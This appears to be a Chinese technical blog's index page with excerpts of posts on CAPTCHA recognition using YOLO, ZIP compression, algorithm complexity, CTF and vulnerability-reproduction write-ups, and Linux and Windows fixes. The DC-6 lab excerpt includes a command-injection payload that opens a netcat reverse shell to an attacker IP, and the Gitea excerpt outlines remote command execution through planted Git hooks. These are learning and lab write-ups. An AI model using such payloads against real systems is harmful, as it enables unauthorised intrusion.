从图片验证码到字符识别:YOLO 模型在验证码识别中的实践
从图片验证码到字符识别:YOLO 模型在验证码识别中的实践先看一张图。 五个字母,歪歪扭扭,中间还划过一条线。这是网站登录框里那种验证码,练手项目里非常常见的一种。 你一眼能不能认出来是 KYHXV?大概能,但可能要盯两秒。 这篇文章想做的事,是把”机器怎么做到这件事”从头讲一遍。不讲玄乎的概念,只讲它到底在干什么。写完之后你会发现,整件事的骨架简单得有点意外。 配套的两个仓库: image-captcha-recognition-yolo:数据集准备、训练脚本、推理脚本 pyocrcaptcha:把训练好的模型打包成 pip 能装的包,带命令行 一、项目背景验证码是干什么用的网站为什么要给你看这五个歪字母? 因为它想区分”坐在电脑前面的人”和”写脚本的机器”。人认字很轻松,程序想认字就费劲了,在深度学习普及之前尤其费劲。所以早期的思路很朴素:这个任务对机器难,对人容易,那就拿它当门槛。 这个思路在二十年前是成立的。现在不太成立了。 为什么这类验证码容易被打穿看几个数字。 这个项目用的字符集是 36 类:数字 0-9 加字母 A-Z。没有小写字母,没有区分易混字符。图片尺...
ZIP 为什么能让文件变小?—— 压缩的原理、格式与极限
ZIP 为什么能让文件变小?—— 压缩的原理、格式与极限先看三个事实,它们看起来互相矛盾。 第一个:一个 221 KB 的中文文本文件,压成 ZIP 之后只剩 1.1 KB,砍掉了 99.5%。 第二个:一个 293 KB 的随机数据文件,压成 ZIP 之后变成 293.1 KB,不但没小,还胖了一点。 第三个:把一个已经压好的 ZIP 再压一遍、再压一遍、再压一遍。 这三个事实是同一件事的三个侧面。这篇文章想把它们串起来讲清楚。下面所有数字都是我在自己机器上跑出来的,不是抄的,代码逻辑在文中随手能找到。 顺便说一下这篇的写法。压这个话题有很多层,我打算把几套不同的思路混着用:用第一性原理拆它的成本结构,用它反过来想想什么时候不该压,用代码跑一遍验证,再盯一下那些极端情况。同一件事从几个角度各看一遍,比只从一个角度往下挖更容易看到全貌。 一、ZIP 文件格式分析要理解压缩,先看看压缩出来的东西长什么样。很多人用了十几年 ZIP,从没打开过一个 ZIP 文件看里面。 一个 ZIP 文件不是”一团压缩数据”,它是一个有结构的容器。它的结构大致是这样: 从左到右,重复出现的是本地文件...
什么是均摊复杂度?均摊分析?
什么是均摊复杂度?均摊分析?上篇文章里我们聊了复杂度和它那个偷懒的写法,大 O。这次聊一个更刁钻的问题。 你妹妹的书包又出场了。她每次往书包里塞一本作业本,就是一次操作。书包满了怎么办?只能换一个更大的书包,然后把旧书包里的本子一本一本倒进新书包。 现在问题来了:“往书包里放一本本子”这个操作,到底有多快? 平时:掀开盖子塞进去,一秒钟。 换书包那次:要把旧书包里所有本子全部倒过去,本子越多越慢。 如果只盯着最坏那一次,你会说:这个操作很慢,跟本子数量成正比。但如果盯着整个过程,你会发现换书包的次数少得可怜。 同一个操作,两个完全不同的答案。 均摊分析就是用来处理这种事的。 一、先说清楚:均摊不等于”平均”这是我见过最多人搞错的地方,所以放在最前面。 听到”均摊”两个字,很多人立刻想到”平均”。然后就想:平均嘛,就是对所有情况取个平均。 不是这么回事。 平常说的”平均复杂度”,背后藏着一个概率假设。比如快排的平均复杂度是 $O(n\log n)$,这个”平均”的意思是:假定输入数据是随机排列的,在这种假定下取平均。如果对手故意构造一组最坏数据喂给你,快排立刻掉到 $O(n^2...
时间复杂度与空间复杂度详解
时间复杂度与空间复杂度详解 时间复杂度和空间复杂度,是衡量算法效率的两个核心度量。下面从”数一数”这种最直观的方式讲起,给出大 O 的形式化定义,配上 C++ / Python 双版本代码、公式推导和三张图,中间点几个常见误区,也说说这篇讲不到的地方。 这两天在教一个小孩子学习算法,用一种简单的思维讲解时间复杂度和空间复杂度。 一、先别管名字,来数一数假设你妹妹让你帮她在书包里找一本作业本。 书包里有 3 本本子的时候,你抓两下就找到了,用了 2 秒。书包里有 30 本本子的时候,你要翻一会儿,用了 20 秒。书包里有 300 本本子的时候,你翻了两个小时。 现在我问你一个问题,“找本子”这件事,到底”有多快”? 你可能会说:”2 秒。” 错。2 秒是书包里有 3 本时的答案。 本子变成 300 本,答案就变成了两个小时。 所以真正要问的,是下面这句话。 本子每多一倍,我要多用多少时间? 这就是”复杂度”这个词真正在问的东西。它不关心你跑得多快,关心的是东西变多了以后,你变慢的速度有多快。 我觉得这是理解复杂度的唯一入口。如果你记住了 O(n²) 这四个字符,但不知道它在...
【BUUCTF】WEB-刷题记录-[极客大挑战 2019]BuyFlag
前言这是一道经典的 PHP 代码审计题。题目来自 BUUCTF / CTF² 平台的 [极客大挑战 2019]BuyFlag,主要考察 is_numeric 绕过、松散比较,以及用数组绕过长度校验。记录一下完整解题过程。 题目信息 平台:BUUCTF(CTF²) 类型:WEB 目标:花掉 100000000 money,买到 flag 信息收集首页菜单里有 Home / PayFlag,进入 pay.php: Flag need your 100000000 moneyIf you want to buy the FLAG:You must be a student from CUIT!!!You must be answer the correct password!!! 查看页面源码,底部 HTML 注释直接泄露了 password 的校验逻辑: 123456789~~~post money and password~~~if (isset($_POST['password'])) { $password = $_POST[...
【漏洞复现】CVE-2026-60004 Gitea diffpatch 接口 Git 钩子注入致远程命令执行
前言Gitea 在 1.17 ~ 1.27.0 版本中存在一个严重的代码注入漏洞(CVE-2026-60004,GHSA-rcr6-4jqh-j84m),官方已在 1.27.1 修复。漏洞位于 diffpatch(差异补丁)API:攻击者只需拥有一个账号并对任意仓库具备写权限,即可通过该接口提交恶意补丁,在服务器以 裸仓库(bare repo) 形式存储的临时仓库中 植入并执行 Git 钩子,从而以 Gitea 服务账户权限执行任意命令。 由于 Gitea 默认 开放注册,外部人员可以自行注册账号并创建仓库,从「无任何权限」直接获得仓库写权限,使该漏洞极易被真实利用(CVSS 9.8)。 漏洞信息 漏洞编号:CVE-2026-60004(GHSA-rcr6-4jqh-j84m) 影响版本:Gitea 1.17 ~ 1.27.0 修复版本:1.27.1 漏洞位置:POST /api/v1/repos/{owner}/{repo}/diffpatch 利用前提:拥有账号 + 对目标仓库具备写权限(默认开放注册时,攻击者可自行注册并创建仓库,天然满足) 危害:任意命令执行(以 Gite...
【Windows】修复 Win11 文件资源管理器复选框关不掉的问题
前言在 Windows 11 里,文件资源管理器中的每个文件、文件夹前面都出现了「复选框」,即使在 查看 → 显示 → 项目复选框 中取消勾选,这些复选框依然存在,切换任何目录都有。很多朋友(尤其是二合一 / 可拆键盘的平板笔电用户)都被这个「关不掉的复选框」折磨过。 本次复现所使用的设备信息如下,供大家对号入座: 设备型号:ALLDOCUBE(酷比魔方)iWork GT Ultra 设备类型:二合一平板笔电(可拆键盘的平板 / 笔记本两用设备,即 Windows 所称的 Convertible「可变形设备」) 操作系统:Windows 11 家庭版 25H2(Build 26200) 正是这类「可变形设备」才最容易触发本问题——普通台式机或非触屏笔记本一般不会遇到。 本文完整记录了该问题的现象、排查过程,以及最终的修复方案。 问题现象 顶部菜单 查看 → 显示 → 项目复选框 处于「未勾选」状态; 但每个文件前面始终有一个复选框,连列表表头都带全选框; 任意目录都存在,重启资源管理器、重启电脑均无效。 常规排查(均无效)遇到这种情况,一般第一反应是去关掉相关设置,通...
【ArchLinux】如何制服国产免驱网卡
前言很多国产 USB 无线网卡,比如某些标注“免驱”这类的网卡,通常在 Windows 上能够即插即用或者有适配的驱动,但是在 Linux 下会遇到一些坑。前些日子我给我的一个迷你主机装了一个 ArchLinux,但是机器的网卡不是很好,换了一个但暂时没有适配的信号天线,所以找了一下之前的无线网卡临时用下,发现了一款标注“免驱”的网卡,试了一试。 本文以 COMFAST CF-922AC(MT7612U 芯片) 为例,完整记录从识别设备、切换网卡模式、加载内核驱动、到 iwctl 正常联网的全过程,理论适配所有同方案联发科 / 瑞昱国产免驱 USB 无线网卡。 实验插上能被 lsusb 识别(也有可能不出具体型号),但 iwctl、系统网络设置里完全看不到无线网卡。 识别设备与模式切换注意看这个 1Bus 001 Device 010: ID 0e8d:2870 MediaTek Inc. Љ 不是上面的RTL8812AU 你会发现只能得到这是个联发科的设备 查看网卡的时候没这个网卡 (我的wlan0是板载,wlan2是那个RTL8812AU) 此时设备其实处于默认的 Ma...
【漏洞复现】CVE-2010-1870-S2-005 远程代码执行漏洞
题目环境Dockerfile123456789101112131415161718192021FROM tomcat:8.5-jre8RUN apt-get update && apt-get install -y curl netcat && rm -rf /var/lib/apt/lists/*COPY S2-005.war /usr/local/tomcat/webapps/ROOT.warRUN echo '#!/bin/bash\n\if [ -n "$FLAG" ]; then\n\ echo "$FLAG" > /flag\n\ chmod 444 /flag\n\ echo "[+] Flag written to /flag"\n\else\n\ echo "[-] FLAG environment variable is empty!" > /flag\n\fi\n\exec catalina.sh ru...
【DC系列靶场】DC:06
前言 名称:DC:6 环境部署 虚拟化:VMware Workstation 网卡:NAT 攻击机 IP 192.168.8.129 Kali Linux 25.3 靶机 DC-6 IP 192.168.8.131 渗透流程主机发现 端口扫描 访问 访问会跳转到wordy 编辑/etc/hosts 其余信息收集由于也是WordPress网站,我们依旧使用wpscan扫描 扫出几个用户 网页密码爆破 找到mark 密码是helpdesk01 登录成功 发现一个插件功能 那么查询功能可能存在命令执行 1127.0.0.1 | ls 当我想列出用户名的时候,发现输入框应该有长度限制,但是应该只是前端的 修改这里的maxlength 我直接删除掉了 开一个nc监听 1127.0.0.1 | nc -e /bin/bash 192.168.8.129 9999 进入交互模式 1python -c 'import pty;pty.spawn("/bin/bash")' 发现mark用户下的stuff里,有一个t...




![【BUUCTF】WEB-刷题记录-[极客大挑战 2019]BuyFlag](/../attachments/image-20261014052001111.png)



